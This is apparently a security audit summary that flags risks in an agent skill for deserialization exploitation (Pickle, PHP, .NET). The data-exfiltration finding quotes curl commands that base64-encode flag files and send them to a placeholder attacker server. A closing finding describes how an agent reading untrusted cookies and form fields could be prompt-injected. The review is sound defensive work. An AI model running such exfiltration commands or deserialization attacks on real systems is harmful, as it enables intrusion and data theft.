The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides numerous pre-defined templates and methodologies for achieving remote code execution via Python Pickle, PHP unserialize, and .NET BinaryFormatter/ViewState.
Evidence: references/pickle-payload-templates.md contains multiple templates using subprocess.check_output, os.system, and eval inside __reduce__ methods to execute shell commands upon deserialization.
[DATA_EXFILTRATION]: The skill explicitly instructs the agent to exfiltrate sensitive data (specifically system flags) to external attacker-controlled domains via HTTP and DNS out-of-band channels.
Evidence: SKILL.md (Phase 2 & 4) and references/blind-exploitation.md provide payloads such as curl http://attacker/?d=$(cat /flag|base64) and curl http://YOUR_SERVER/$(cat /flag.txt | base64) to send sensitive information to non-whitelisted domains.
[DYNAMIC_EXECUTION]: The skill generates executable serialized payloads and shell commands at runtime to bypass security filters and execute arbitrary code on target systems.
Evidence: references/pickle-payload-templates.md and references/php-deserialization.md provide scripts and tool commands (e.g., phpggc) intended to be executed to generate malicious objects on the fly.
[COMMAND_EXECUTION]: The methodology relies on high-risk system commands and Python/PHP built-in functions to perform file operations, network requests, and system manipulation.
Evidence: Extensive use of os.system, subprocess.check_output, exec, and PHP's file_put_contents for writing webshells or reading flags.
[INDIRECT_PROMPT_INJECTION]: The skill creates a significant attack surface by instructing the agent to ingest and process untrusted external data that can contain embedded malicious instructions.
Ingestion points: The skill instructs the agent to read and process data from HTTP Cookie values, POST bodies, hidden form fields, and API parameters (SKILL.md Phase 1).
Boundary markers: Absent; there are no instructions provided to distinguish between legitimate data and injected malicious instructions within these inputs.
Capability inventory: The skill utilizes powerful system capabilities including os.system, subprocess, eval, exec, and raw network requests via curl and urllib.request (references/pickle-payload-templates.md).
Sanitization: Absent; the provided methodology assumes direct processing of raw serialized objects without validation or filtering.

deserialization-methodology